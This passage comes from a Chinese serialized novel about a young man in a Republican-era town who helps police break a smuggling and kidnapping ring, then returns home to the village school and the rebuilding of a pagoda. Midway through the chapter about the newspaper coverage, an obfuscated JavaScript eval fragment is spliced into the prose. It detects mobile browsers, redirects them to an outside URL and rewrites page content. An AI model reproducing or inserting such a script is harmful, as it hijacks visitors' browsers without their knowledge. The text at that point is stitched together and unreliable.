他洗漱完毕，换上最干净的学生装——月白色的上衣，黑色的裤子，布鞋刷得干干净净。水生已经起来了，正帮着福伯准备早饭。 “静轩哥，”水生小声问，“今天……能抓到坏人吗？” “能。”张静轩摸摸他的头，“一定能。” 饭后，赵哥检查了枪械，又把一把匕首塞给张静轩：“藏在袖子里，以防万一。” 张静轩接过匕首。刀身很短，但锋利，刀柄缠着麻绳，握在手里很稳。 “记住，”赵哥嘱咐，“到了土地庙，什么也别说，露个面就走。如果对方动手，你就跑，往人多的地方跑。其他的，交给我。” 两人出了客栈，往城南走去。土地庙在城南的乱葬岗附近，平日里少有人去。越往南走，街道越破败，行人越少。到后来，几乎看不见人影，只有野狗在垃圾堆里翻找食物。 土地庙很破，门塌了半边，院子里长满荒草。庙里的神像已经残缺，供桌上积着厚厚的灰。 张静轩站在庙门口，看了看日头——离午时还有一刻钟。 “我进去了。”他对藏在远处树后的赵哥说。 赵哥点头，手按在腰间。 张静轩走进庙里。里面很暗，有股霉味。他站在供桌前，等着。 时间一分一秒过去。庙外只有风声，和远处隐约的市声。 午时到了。 没有人来。 张静轩正疑惑，忽然听见庙后传来一声闷响，像是重物倒地。他心头一紧，握紧了袖子里的匕首。 “谁？” 没人回答。 他慢慢挪到庙后门，探头看去——后院的荒草里，躺着一个人。穿着灰色长衫，脸朝下，背上有血。 是周文。 张静轩冲过去，扶起他。周文还活着，但气息微弱，胸口一片血红。 “周先生！” 周文睁开眼睛，看见他，艰难地开口：“快……走……有埋伏……” 话音未落，庙墙后闪出三个人。都蒙着脸，手里拿着刀。 张静轩把周文护在身后，拔出匕首。 为首的黑衣人冷笑：“小子，让开。我们只要他。” “休想。”张静轩说。 “那就别怪我们了。”黑衣人一挥手，三人同时扑上来。 张静轩不会武功，但跟福伯学过几招防身术。他侧身躲过第一刀，匕首划向第二人的手腕。那人吃痛，刀脱手。但第三人已经到了，一刀刺向他胸口。 千钧一发之际，枪响了。 赵哥从树后冲出来，一枪打中那人的肩膀。三个黑衣人一愣，转身想跑，但赵哥已经冲到近前，又是一枪，打在为首那人的腿上。 “不许动！”赵哥举着枪，“再动，下一枪打头。” 三个黑衣人不敢动了。赵哥上前，缴了他们的刀，又用绳子绑了。 张静轩扶着周文：“周先生，坚持住，我送您去医院。” 周文摇头，从怀里掏出个小本子：“这个……给孙科长……‘老鬼’的身份……在里面……” 他说完，头一歪，昏了过去。 张静轩接过本子。很小，很薄，但很重。 远处传来警笛声——是赵哥提前通知的孙科长，带人赶来了。 警察冲进院子，控制住三个黑衣人，又抬走周文。孙科长翻看那小本子，脸色大变。 “原来是他……”他喃喃道。 “是谁？”张静轩问。 孙科长没回答，只是拍了拍他的肩：“孩子，你们立大功了。这个‘老鬼’……牵扯太大，我不能说。但你们放心，他跑不了。” 张静轩点头。他不需要知道“老鬼”是谁，只要知道他跑不了，就够了。 回到客栈时，已是傍晚。卢明远和福伯等得焦急，见他们平安回来，才松了口气。 “周先生怎么样？”卢明远问。 “送医院了，伤得重，但应该能活。”赵哥说，“那三个黑衣人，是‘老鬼’派来灭口的。他们招了，交易就在今晚，地点在城西的废弃教堂。” “今晚？”张静轩一惊。 “对。”赵哥说，“孙科长已经布置了，今晚收网。” 决战之夜，来了。 张静轩站在窗前，看着省城的暮色。夕阳把天空染成橘红，云彩镶着金边。远处教堂的尖顶，在暮色里显得格外突兀。 那里，将决定一切。 无论是黑暗，还是光明。 都要有一个结果。 而他，要亲眼看着。 看着正义，战胜邪恶。 看着光，驱散黑暗。 一定会的。 窗外的夕阳，渐渐沉入远山。 而夜色，正缓缓降临。 18. 第十八章 夜幕收网 雨后的省城夜晚，有种黏稠的黑暗。城西废弃的英国教堂隐在夜色里，尖顶的剪影刺向墨蓝的天空。玫瑰窗早已残缺，剩下几片彩色玻璃像盲人的眼睛，空洞地映着远处稀薄的灯光。 孙科长的人已经悄悄包围了教堂。二十几个便衣警察，分成四组，藏在周围的树林、废墟和沟渠里。赵哥带着张静轩、卢明远，伏在教堂对面货栈的二层阁楼里，从木板的缝隙往外看，可以看到教堂发生的一切。赵哥蹲在张静轩身旁，枪已经上膛，握在手里像一截冰冷的铁。楼下街角，几个便衣的身影隐在阴影里，一动不动。 “子时三刻。”赵哥看了眼怀表，表盘上的荧光指针泛着幽绿的光，“按线报，交易就在这个时候。” 张静轩握紧了怀里的榆木弓。弓身温润，刻字处已被摩挲得发亮。他来省城时执意带上它，福伯劝过，说累赘，他说：“弓在，心安。”此刻弓贴在胸前，像另一颗缓慢而坚定跳动的心脏。 张静轩盯着教堂那扇虚掩的破门。门缝里透出微弱的光，像一只半睁的、昏睡的眼睛。风穿过教堂的破窗，发出呜呜的声响，像某种悲鸣。 “陈继业会来吗？”卢明远问。 “不一定。”赵哥说，“这种人狡猾，可能派手下交易。但只要抓住接头人，就能顺藤摸瓜。” 时间一分一秒过去。夜越来越深，远处的省城灯火阑珊，而这片荒僻之地，只有风声和虫鸣。 子时将近。 教堂的门悄无声息地开了条缝，一个人影探出来，四下张望，然后又缩回去。 又过了约莫一刻钟，远处传来马蹄声。一辆马车从土路那头驶来，没有点灯，在月光下像个移动的黑影。马车在教堂门口停下，车上跳下两个人，都穿着黑衣，手里提着箱子。 时间在黑暗里流淌，每一息都拉得漫长。远处传来火车的汽笛声，悠长，苍凉，像困兽的哀鸣。 教堂里的光忽然晃了晃，像是有人在走动。张静轩屏住呼吸。果然，门开了条缝， “来了。”赵哥轻声道。 他们敲了敲门。门开了，里面的人把他们让进去。 “动手吗？”有警察低声问。 “再等等。”孙科长藏在另一处，“看看还有没有人来。” 果然，约莫半柱香后，又有一辆汽车驶来。这次下来三个人，他们在夜色的掩护中闪身进入了教堂。 “可以了。”孙科长一挥手，“上！” 便衣们从四面围上。但就在这时，教堂里突然传来一声闷响——像是木箱砸在地上的声音。 警察们也从藏身处冲出，迅速包围教堂。孙科长一脚踹开门，举枪冲进去：“不许动！警察！” 教堂里点着几支蜡烛，光线昏暗。正中摆着一张破桌子，两边站着两拨人——一边是刚才进去的三个黑衣人，一边是那三个穿黑衣的。三个箱子翻倒在地，青铜的鼎、簋、爵散落出来，在煤油灯下泛着幽绿的光。桌子上还放着两个打开的皮箱，一个里面是码得整整齐齐的银元，另一个里面是……文件。 瘦高个看见警察，愣了一下，随即冷笑：“孙科长，好大阵仗。” 孙科长认出了他：“刘秘书？你怎么在这儿？” 刘秘书——省议会某位要员的秘书，张静轩在年会那天见过，跟在郑副厅长身后。 “我来办点私事。”刘秘书神色自若，“怎么，犯法吗？” “私事？”孙科长走到桌前，拿起一份文件，“这些是什么？” 文件是几份地契，还有一叠借据，金额都很大，借款方都是些陌生的名字。 “正常的商业往来。”刘秘书说，“孙科长，你管得太宽了吧？” “商业往来？”孙科长冷笑，“那这些人呢？”他指向那三个黑衣人，“陈继业的手下，专门拐卖人口、走私军火的，也是你的商业伙伴？” 刘秘书脸色变了变：“我不认识他们。” “不认识？”孙科长从怀里掏出周文给的那个小本子，“‘老鬼’——这是你的代号吧？三年前那批军火的真正货主，陈继业的幕后老板。刘秘书，你藏得够深啊。” 教堂里一时寂静。烛光跳动，在每个人脸上投下摇曳的阴影。 刘秘书忽然笑了：“孙科长，你有证据吗？就凭这个小本子？谁知道是不是伪造的？” “是不是伪造，回警务厅再说。”孙科长示意警察上前抓人。 就在这时，异变突生。 教堂侧面的破窗突然被撞开，一个人影滚进来，手里举着枪：“都别动！” 是陈继业——四十来岁，方脸，浓眉，嘴角有道疤，眼神凶狠。他手里举着把驳壳枪，枪口指着孙科长。 张静轩的呼吸紧了紧。他见过陈继业的照片，但真人更瘦削，背微驼，走路时左脚有些拖——那是早年挨过枪子留下的旧伤。这个毁掉无数家庭的人，此刻就在五十步外。 “把东西放下！”陈继业吼道，“放我们走，不然大家一起死！” 孙科长没动：“陈继业，你跑不了了。外面都是便衣和警察。” “那又怎样？”陈继业狞笑，“大不了鱼死网破！”他看向刘秘书，“姓刘的，东西呢？” 刘秘书脸色苍白，看了看翻到的三个箱子，最后指了指桌上的文件。 陈继业示意一个手下去拿。那黑衣人刚要伸手，孙科长动了——他猛地一踢桌子，桌子翻倒，文件散落一地。几乎同时，枪响了。 陈继业开枪打向孙科长，孙科长侧身躲过，子弹打在墙上，溅起砖屑。便衣和警察们纷纷开枪，教堂里顿时枪声大作。 赵哥护着张静轩和卢明远趴在地上。流弹在头顶呼啸，烛台被打翻，蜡烛滚落，点燃了地上的干草。火苗蹿起来，迅速蔓延。 “撤！”赵哥拉着两人往外爬。 教堂里乱成一团。陈继业一手抓了几张文件，一边开枪一边往后退，想从后门逃走。刘秘书抱着头蹲在地上，瑟瑟发抖。那几个黑衣人中枪倒地，呻吟不止。 孙科长瞄准陈继业，连开三枪。陈继业肩膀中了一枪，踉跄了一下，但还是冲到了后门。他一脚踹开门，冲进夜色里。 “追！”孙科长带人追出去。 赵哥也拉起张静轩：“走，去帮忙！” 教堂外，月光很好，照得地面一片银白。陈继业将抓到的文件快速塞进腰间里，捂着肩膀，往树林里跑。孙科长带人在后面追，不时开枪。子弹打在树上，木屑纷飞。 张静轩和赵哥从侧面包抄。树林很密，月光被枝叶割碎，投下斑驳的光影。他们深一脚浅一脚地追着，能听见前面陈继业粗重的喘息声。 忽然，陈继业停住了——前面是断崖。崖下是青云河的支流，水流湍急，在月光下泛着粼粼波光。 他转过身，背靠断崖，举着枪，像头困兽。 孙科长带人围上来，十几把枪指着他。 “陈继业，投降吧。”孙科长说，“你跑不了了。” 陈继业狞笑：“投降？投降也是死，不如拉几个垫背的！”他忽然把枪口转向张静轩，“小子，都是你！要不是你，老子怎么会落到这地步！” 张静轩站在月光下，看着他。这个作恶多端的人，此刻像条疯狗，但眼神里除了凶狠，还有绝望。 “陈继业，”张静轩开口，声音很平静，“那些被你拐卖的人，那些被你害死的家庭，他们怎么办？” “关我屁事！”陈继业吼道，“这世道，弱肉强食！他们弱，活该！” “不对。”张静轩摇头，“这世道，不该是这样。人之所以是人，是因为有良心，有底线。而你，已经没有底线了。” 陈继业一愣，随即狂笑：“良心？底线？值多少钱？小子，你还太嫩！” 说话间陈继业未受伤的手掏出火折子，然后摸向腰间— —声音炸响，“别让他毁文件了！”火折子盖帽掉了，火焰在他手中跳起。 那一刻，时间仿佛慢了。 张静轩看见火焰舔向那些泛黄的纸页——那上面写着名字，写着数字，写着三年来青石镇乃至周边几个县的血泪。他看见秦怀远在火光中湮没的身影，看见水生差点被拐走的那个雨夜，看见磨坊地窖里那三双空洞的眼睛。 弓已在手。 没有犹豫的搭箭，拉弦。没有瞄准的时间，只有三年来的所有画面在眼前闪过——大哥离家时回望的眼神，父亲在祠堂前说的“做人的道理”，苏宛音在黑板上写下的“开学第一课”，周大栓凑钱时粗糙的手，老哑头在泥土上划的“种子已种”…… 弓弦震动的嗡鸣，像大地深处的叹息。 箭离弦。破开昏暗的光，破开飞舞的尘埃，破开这个浓稠得化不开的夜。“夺”一声——箭簇穿过火折的木柄，钉进陈继业身后崖边的杂草旁。火折落地，火星四溅。 一瞬间，陈继业再次举起枪并扣动了扳机。 枪响的同时，赵哥扑倒了张静轩。子弹擦着张静轩的耳朵飞过，打在后面的树上。张静轩抱着弓趴在地上，手在微微颤抖。不是后怕，是释放——那些压在胸口的东西，随着这一箭，终于找到了出口。几乎同时，孙科长和其他警察也开枪了。 十几发子弹同时击中陈继业。他身体一震，手里的枪掉在地上，人往后倒，从断崖跌落下去。 扑通一声，水花溅起，很快被河水吞没。 结束了。 张静轩拿着弓从地上爬起来，走到崖边，捡起散落的纸张。看着河水在月光下奔流，像一条银色的巨蟒，把一切罪恶都卷走了。 孙科长拍了拍他的肩：“没事吧？” “没事。”张静轩摇头，将那些充满秘密的文件交给了孙科长。 警察们开始清理现场。刘秘书被铐起来，那几个黑衣人死的死，伤的伤，都被控制住了。教堂的火已经被扑灭，但里面一片狼藉。 孙科长从地上捡起那些散落的文件，仔细看了看，脸色越来越凝重。 “这些地契……涉及省城好几处重要产业。”他低声对赵哥说，“还有这些借据，借款方……都是些有头有脸的人物。这个案子，大了。” 赵哥点头：“牵扯太广，您得小心。” “我知道。”孙科长苦笑，“但既然接了，就得办到底。” 回到省城时，天已经蒙蒙亮了。街道上开始有早起的行人，早点铺子升起炊烟。一夜惊魂，张静轩却觉得格外清醒——像做了一场漫长的梦，终于醒了。 刘秘书被押回警务厅。孙科长说，这个案子会一查到底，不管牵扯到谁。 回到客栈，福伯已经等了一夜。见他们平安回来，老泪纵横：“没事就好，没事就好……” 水生也醒了，揉着眼睛跑出来：“静轩哥，抓到坏人了吗？” “抓到了。”张静轩摸摸他的头，“以后，青石镇安全了。” 上午，消息传开。省城各大报纸都刊登了新闻：“警务厅破获特大走私拐卖团伙，主犯陈继业坠崖身亡，幕后黑手落网”。文章写得隐晦， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140660|196314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没提“老鬼”的真实身份，但明眼人都能看出，这案子不简单。 李教授打来电话：“静轩，你们可以安心了。教育厅那边，郑副厅长今天一早就被停职调查。你们的拨款，下周就能下来。” 果然，下午教育厅就来了公文，正式批复青石镇新式学堂的办学资格，并拨付首笔款项。数目不小，足够学堂用两年。 卢明远拿着公文，手在抖：“成了……终于成了……” 张静轩看着那份盖着红章的文件，心里却异常平静。这是他们应得的，是用血和汗换来的。 三天后，他们准备回青石镇。 临走前，张静轩去医院看了周文。记者已经脱离危险，但伤得很重，需要静养。 “账册和文件，孙科长都拿到了。”张静轩坐在病床边，“他说，这个案子会办成铁案。” 周文脸色苍白，但眼神明亮：“那就好。我当记者十几年，见过太多不了了之的案子。这次……总算有个结果。” “谢谢您。”张静轩说，“没有您，我们查不到这么多。” “该谢的是你们。”周文笑了，“你们这些孩子，让我看到，中华民国还有希望。” 从医院出来，阳光很好。省城的街道依旧繁华，电车叮当，行人匆匆。但张静轩觉得，这繁华里，似乎多了些什么——或许是正义得到伸张后的安宁，或许是黑暗被驱散后的清明。 他们坐上回青石镇的马车。福伯赶车，马蹄声嘚嘚，车轮碾过黄土路，扬起轻尘。 水生趴在车窗上，看着渐渐远去的省城城墙，忽然问：“静轩哥，咱们以后还来省城吗？” “来。”张静轩说，“等学堂办得更好了，带所有的孩子都来，看看外面的世界。” “那……省城的人，还会看不起咱们吗？” 张静轩想了想，说：“也许会，也许不会。但没关系——咱们青石镇的人，靠自己，也能活得像模像样。” 马车沿着青云河往北走。河水清澈，在阳光下泛着金光。两岸的稻田绿意盎然，农人们在田里劳作，偶尔直起身，擦把汗，望着远去的马车。 这是青石镇的山河。朴实，厚重，生生不息。 傍晚时分，马车驶进青石镇。街坊们早就等在镇口，看见马车，都围上来。 “回来了！回来了！” “小少爷，没事吧？” “坏人抓到了吗？” 张静轩跳下车，一一回应。周大栓挤过来，一把抱住水生：“儿子，你可回来了！” 李铁匠拍着张静轩的肩：“好小子！给咱们青石镇长脸了！” 陈老秀才拄着拐杖站在人群外，看着张静轩，点点头，没说话，但眼里有赞许。 回到张家，张老太爷站在门口，看着儿子，良久，说：“瘦了。” “爹。”张静轩上前，“事办成了。拨款下来了，陈继业死了，幕后黑手也抓了。” “我知道。”张老太爷拍拍他的肩，“沈特派员派人送信来了，都说了。”他顿了顿，“你做得很好。” 父子俩站在门口，夕阳把他们的影子拉得很长。院子里那棵老槐树，叶子已经落尽，但枝干遒劲，像在积蓄力量，等待来年春天。 晚饭后，张静轩去了学堂。 祠堂里亮着灯。苏宛音和程秋实还在备课，见了他，都站起身。 “静轩！”苏宛音眼圈红了，“你没事吧？” “没事。”张静轩说，“先生，拨款下来了。学堂可以办下去了。” 程秋实激动得手在抖：“太好了……太好了……” 张静轩走到讲台前，看着那些熟悉的桌椅。明天，孩子们就会坐在这里，读书，识字，明理。他们的未来，会比他这一代更好。 他拿起粉笔，在黑板上写下两个字：“希望”。 字迹不算好看，但端正，有力。 苏宛音看着那两个字，眼泪终于掉下来。程秋实摘下眼镜，擦了擦眼角。 从学堂出来，月光很好。张静轩独自走到青云河边。河水潺潺，像在诉说。他想起这几个月发生的事——办学，遇阻，斗争，胜利。像一场漫长的战役，终于结束了。 但真的结束了吗？ 陈继业死了，但世上还有王继业、李继业。刘秘书被抓了，但官场还有张秘书、赵秘书。黑暗不会永远消失，只要人性还有贪婪，还有愚昧。 但没关系。 只要有学堂，有教育，有像苏宛音、程秋实这样的先生，有像周大栓、李铁匠这样的百姓，有像大哥那样在前线战斗的军人，有像他这样在后方坚守的少年…… 光，就不会熄灭。 他想起大哥信里的话：“挺直脊梁，守住本心。” 他会挺直脊梁，守住本心。 守住青石镇，守住学堂，守住这片山河。 远处传来更夫的梆子声，二更天了。 张静轩转身，往家走。 月光照着他年轻的背影，那背影在青石板路上，拉得很长，很稳。 像一棵正在成长的树，深深扎根在这片土地里。 来年春天，会枝繁叶茂。 会开花结果。 会把光，传给更多的人。 一定会的。 他这样想着，脚步轻快起来。 前方，张家的灯火，温暖而明亮。 像一盏永不熄灭的灯。 照亮他回家的路。 也照亮，这片山河的未来。 19. 第十九章 春播 开春的第一场雨来得恰到好处。细密的雨丝润湿了青石镇的土地，青云河的水涨了些，泛着新鲜的土腥气。祠堂前那棵老槐树的枝桠上，冒出了嫩黄的芽点，像谁用笔尖轻轻点上去的。 张静轩站在学堂门口，看着雨水顺着屋檐滴落，在地上溅起一圈圈涟漪。今天是学堂重新开课的日子。省里的拨款已经到了，苏宛音和程秋实新印了课本，还从省城订购了几件简单的实验器具——一个地球仪，几幅地图，还有一盒几何模型。 孩子们陆陆续续到了。水生穿着新做的粗布褂子，虽然浆洗得发硬，但很干净。他跑到张静轩面前，仰着脸笑：“静轩哥，俺爹说，等麦子收了，给俺做双新鞋。” “好。”张静轩摸摸他的头，“好好读书，将来给你爹也买新鞋。” 小莲也来了，牵着母亲的手。妇人脸色好多了，咳嗽轻了，脸上有了血色。她对着张静轩深深鞠躬：“小少爷，谢谢学堂，谢谢先生。小莲她爹捎信回来了，说在省城码头找到活了，等攒够了钱就回来。” 张静轩点点头，心里一暖。这就是学堂的意义——不只是教孩子识字，更是给一个个家庭带来希望。 上课钟响了。孩子们坐进课堂，二十八个人，一个不少。苏宛音站在讲台前，看着他们，眼圈微微发红。 “同学们，”她开口，声音有些哽咽，“今天，我们学堂有了新课本，新教具，还有了省里的正式批文。这些是怎么来的？是你们每一个人的坚持，是你们父母的付出，是青石镇所有乡亲的支持。” 她顿了顿：“从今天起，我们要更努力地读书。不是为了当官发财，是为了——像张静轩同学在省城说的那样——让这片土地上的人，活得像人。” 孩子们挺直腰板，眼神明亮。 第一节课是程秋实的国文。他今天讲的是新课本里的第一课：《我们的家乡》。课文很简单，写的是一个小镇的风土人情，但程秋实讲得很用心。 “每个人都有家乡。”他说，“家乡是什么？是出生的地方，是长大的地方，是无论走到哪里都会想念的地方。你们的家乡是青石镇，有青云河，有老槐树，有这所学堂。要记住它，爱它，将来把它建设得更好。” 水生举手：“先生，那要是……要是离开家乡呢？” “离开家乡，是为了学本事，长见识。”程秋实说，“但学成了，要记得回来——用学到的本事，把家乡建设得更好。” 张静轩坐在后排听着，心里忽然想起大哥。大哥离开家乡去参军，是为了保卫这片山河。而他们留在学堂，是为了建设这片山河。方式不同，但心一样。 课间时，张静轩走到院子里。雨停了，阳光从云缝里漏出来，照在湿漉漉的青石板上，泛着金光。福伯正蹲在墙角，修补那扇被踩坏的门板。老管家手艺好，刨子推过木板，木屑像雪花一样纷纷扬扬。 “福伯，”张静轩走过去，“我爹呢？” “老爷去镇公所了。”福伯没抬头，手上不停，“说是商量重修文峰塔的事。” 文峰塔？张静轩想起父亲说过，青石镇以前有座文峰塔，同治年间塌了。重修文峰塔，是陈老秀才多年的心愿。 “陈老先生也在？” “在。”福伯终于抬起头，擦了把汗，“小少爷，老爷说，等塔修好了，要在塔底下埋个‘镇物’——把咱们青石镇这些年的事，写下来，封在坛子里，埋进去。让后世的人知道，这塔是怎么修起来的，这学堂是怎么办起来的。” 张静轩心头一动。埋“镇物”，是本地旧俗。但父亲要埋的，不是符咒，是历史——青石镇的真实历史。 “我爹还说什么了？” 福伯想了想：“老爷说，等开春了，要在学堂后面开块地，种菜。让孩子们学农事，知道粮食是怎么来的。” 种地？这倒是新鲜。但细想，也有道理——读书不能脱离实际，知道稼穑艰难，才会珍惜，才会懂得百姓疾苦。 下午的课是苏宛音的算学。她今天教的是测量——用简单的工具，测量土地面积。她把孩子们带到祠堂后面的空地上，那是新划出来的“学田”，约莫半亩。 “这块地，长十丈，宽三丈。”苏宛音用皮尺量着，“怎么算面积？” 孩子们七嘴八舌。有的说长乘宽，有的说一亩等于多少平方丈。水生算得最快：“三十平方丈！” “对。”苏宛音点头，“但实际种地，还要考虑地形、土质、水源。所以，读书要和实际结合。” 她开始讲怎么选种，怎么施肥，什么时候播种，什么时候收割。孩子们听得入神，连张静轩都觉得新鲜——他从小到大，没下过地。 “等过几天，地干了，咱们就动手。”苏宛音说，“种点什么好呢？” “种麦子！”水生喊。 “种青菜！”小莲小声说。 “种……种花。”铁蛋忽然说，“好看。” 孩子们都笑了。苏宛音也笑：“好，都种。麦子、青菜、花，都要种。等秋天收了，麦子磨成面，咱们做馒头吃；青菜炒了，大家一起吃；花开了，插在学堂里，好看。” 阳光很好，照在孩子们兴奋的脸上。张静轩看着这一幕，忽然觉得，这才是学堂该有的样子——不只是读书识字，更是生活，是希望，是实实在在的、可以触摸的未来。 放学后，张静轩去了镇公所。议事堂里，父亲和陈老秀才、卢明远，还有几个镇上的乡绅正在商量。桌上摊着一张图纸，是文峰塔的设计图。 “……塔高七层，取‘七级浮屠’之意。”陈老秀才指着图纸，“底层供奉文昌帝君，二层以上，可以登高望远。塔顶挂铜铃，风来铃响，声闻数里。” 张静轩走近看。图纸画得很细，塔身八角，每层都有飞檐翘角，是典型的江南风格。 “钱从哪儿来？”一个乡绅问。 “省里拨了一部分，镇上出一部分，剩下的募捐。”张老太爷说，“我已经跟省城几个商会联系了，他们都愿意捐。” “那学堂后面那块地……” “开春就种。”卢明远接话，“我爹从省城弄了些新种子，说是洋人改良过的，产量高。” 众人又商量了些细节。张静轩在一旁听着，忽然觉得，青石镇正在发生某种变化——不是轰轰烈烈的革命，而是一种缓慢的、扎实的、从土地里生长出来的变化。 离开镇公所时，天已近黄昏。夕阳把青云河染成金色，河水缓缓流淌，像一条金色的绸带。张静轩沿着河堤走，看见周大栓正带着几个船工在修码头——被陈继业的黑船撞坏的那段。 “周叔。”他走过去。 周大栓抬起头，脸上都是汗，但笑容灿烂：“小少爷！你看，咱们把码头拓宽了，以后能停更大的船！” 确实，码头比原来宽了一倍，用新伐的松木打桩，结实得很。 “等修好了，咱们青石镇的货，就能直接运到省城，不用在中转站被扒一层皮了。”周大栓搓着手，“水生他娘说，等码头好了，她要摆个茶水摊，给过路的船工送水。” 张静轩笑了。这就是青石镇的百姓——朴实，勤劳，一点点地改变生活。 回到家，书房亮着灯。张老太爷正在看信，见他进来，放下信纸。 “静轩，你大哥来信了。” 张静轩心头一跳，快步走过去。信是大哥的笔迹，但比上次更潦草： “父亲大人、静轩吾弟：北地战事稍歇，儿一切安好。闻青石镇事毕，甚慰。陈继业已被击毙，学堂得续，皆弟之功。然世道仍艰，外有强敌，内有奸佞，不可松懈。儿在军中，见百姓流离，心甚痛。唯盼早日驱除外寇，还我山河清明。弟在乡，当继办学之志，启民智，育新人。待凯旋日，兄弟把酒，共话桑麻。兄静远顿首。” 信不长，但字字千钧。张静轩读着，眼眶发热。 “你大哥……”张老太爷声音有些哑，“他瘦了。信里没说，但送信的人说，他们刚打了一场硬仗，伤亡不小。” 张静轩握紧信纸。他能想象——前线炮火连天，大哥端着枪，在战壕里冲锋。而他，在后方安静的学堂里，教孩子识字。 两种战场，一样残酷。 “爹，”他轻声说，“我想……等学堂稳定了，去北边看看大哥。” 张老太爷看着他，良久，点头：“该去。但不是现在。现在，你要把学堂办好，把青石镇的事做好。这才是对你大哥最大的支持。” 张静轩点头。他明白。前线需要枪炮，后方需要粮食，需要教育，需要希望。他和大哥，在不同的战场，为同一个目标战斗。 夜里，他又在灯下写信。这次是给大哥的。 “大哥：见字如面。青石镇春耕在即，学堂新开，一切安好。弟近日思之，办学不只是教书识字，更是育人育心。故于学堂后开‘学田’半亩，教孩子稼穑之道，知民生之多艰。文峰塔亦将重修，塔成之日，当埋‘镇物’于下，录青石镇这些年事，留与后人。兄在前线保重，待山河无恙，弟必北上，与兄把酒言欢。静轩谨上。” 信写得很长，他把青石镇这些天的变化都写了——学堂的新课本，孩子们的“学田”，码头的扩建，文峰塔的重修。写到最后，手有些酸，但心里很满。 吹熄灯，躺下。窗外的月光很好，清清冷冷地照着。远处传来青云河的水声，潺潺的，永不停歇。 他想起省城的繁华，想起前线的大哥，想起青石镇的朴实。这三个世界，看似遥远，却又紧密相连——省城的变革影响着青石镇，前线的战事牵动着后方，而后方的坚守，又支撑着前线。 而他，张静轩，十五岁，站在三个世界的交界处。 他要做的，不是选择哪一个世界，而是把它们连接起来——把省城的新思想带回青石镇，把青石镇的朴实告诉省城，把后方的希望传递给前线。 这是一条很长的路。 但他会走。 一步，一步。 走到光完全照亮每一个角落的那一天。 一定会的。 他这样想着，慢慢睡着了。 梦里，他看见文峰塔修好了，高高地耸立在青云河边。塔顶的铜铃在风里叮当作响，声音清越，传得很远。塔下，孩子们在“学田”里劳作，麦子绿油油的，青菜水灵灵的，花儿开得正好。 大哥从远处走来，穿着军装，脸上有硝烟的痕迹，但笑容明亮。他拍拍张静轩的肩：“静轩，你做到了。” 他重重点头。 醒来时，天已蒙蒙亮。窗外传来鸟鸣，清脆悦耳。 新的一天，开始了。 张静轩起身，推开窗。晨风带着泥土的清香，扑面而来。 远处，青云河的水声，学堂的钟声，还有即将开始的、属于青石镇的、崭新的一天。 他深吸一口气。 该去学堂了。 该去播种了。 播下种子，播下希望，播下一个更好的未来。 他握紧了拳，然后，走出房门。 第二十章 塔基 文峰塔的地基开挖定在谷雨后的第一个晴天。青石镇的男丁几乎都来了，周大栓带着船工，李铁匠带着徒弟，连陈老秀才也拄着拐杖站在一旁。张老太爷在空地中央摆了香案，供着三牲，祭拜土地公。 “动土——”福伯拉长了声音。 十几个汉子举起镐头，齐齐落下。泥土翻起，带着春日的湿润气息。张静轩站在父亲身边，看着那片被翻开的地面。黄土之下是黑土，再往下是砂石层——青石镇的地质，他从小就知道。 “按照图纸，地基要挖一丈深。”卢明远拿着图纸对照，“下面打三层三合土，再砌石基。” 工程进展得很快。到晌午时，已经挖下去五尺深。汉子们轮换着干，汗水浸透了粗布衫。水生和几个半大孩子负责送水，拎着陶罐跑来跑去。 忽然，镐头碰上了硬物。 “有东西！”挖土的汉子喊。 所有人都围过去。张老太爷示意小心清理。几个汉子用铁锨慢慢铲开周围的土，露出下面的东西——是几块青石板，拼成一个方形，石板表面刻着字，但被泥土糊住，看不清。 “这是什么？”周大栓凑近看。 陈老秀才拄着拐杖走过来，蹲下身，用袖子擦了擦石板表面。字迹露出来，是篆书，苍劲古朴。 “这是……碑文？”陈老秀才眯着眼辨认，“‘文峰塔记……大明嘉靖七年春立……’”他抬起头，脸色变了，“这是老塔的碑！原来埋在这儿！” 众人哗然。老塔塌了近百年，碑文竟然还在地下完好保存着。 “继续挖。”张老太爷说，“小心些，别碰坏了。” 汉子们更加小心。又挖了约莫半个时辰，整块碑露了出来——三尺见方，青石质地，虽然边缘有破损，但碑文基本清晰。除了《文峰塔记》，下面还有捐建者的名单，密密麻麻，足有上百人。 陈老秀才让水生拿来纸笔，拓印碑文。老人手有些抖，但拓得很认真，一笔一划都不放过。 “青石镇的历史，都在这里了。”他喃喃道，“嘉靖七年……那是四百年前了。那时候的青石镇，还是个码头集市，因为文峰塔，才渐渐有了文气。” 张静轩看着那些古老的文字。四百年前，他的祖先可能还没来到青石镇，但这座塔已经在了。它见证过明代的繁华，清代的衰败，民国的动荡，如今又要见证新生。 这是一种奇妙的连接——过去与现在，通过这块石碑，连在一起。 下午，挖地基的工人又发现了别的东西。在石碑下方三尺处，挖出一个陶罐，密封得很好。打开，里面是一卷用油布包着的纸。纸已经发黄变脆，但字迹还能辨认。 是一封信。 “塔倾之日，吾辈无能，愧对先人。今藏此信于塔基，待后来者重修之日，可见吾心。光绪二年，青云河水患，塔基松动，镇上凑钱修补，然财力不济，只能维持。五年后，塔身裂缝愈大，吾等恐塔将倾，故留此信，告后来者：修塔不易，守塔更难。望后来者继吾志，护此文脉，佑我乡土。青石镇乡绅王守义、李怀德、陈文渊同具。” 光绪二年，那是四十多年前了。写信的三位老人，如今早已作古。但他们留下的这封信，穿越时间，来到了今天。 张静轩捧着信，心里沉甸甸的。修塔不易，守塔更难——这话说得透彻。四百年的塔倒了，四十年前的人想修没修成，今天，轮到他们这一代了。 “爹，”他轻声说，“咱们要把这封信，和咱们的信，一起埋进去。” 张老太爷点头：“该这样。一代人有一代人的责任，一代人有一代人的见证。” 傍晚时分，地基挖好了。一丈深的坑，底下是坚实的岩石层。工人们开始回填三合土——石灰、黏土、沙子按比例混合，一层层夯实。这是老法子，但最牢固。 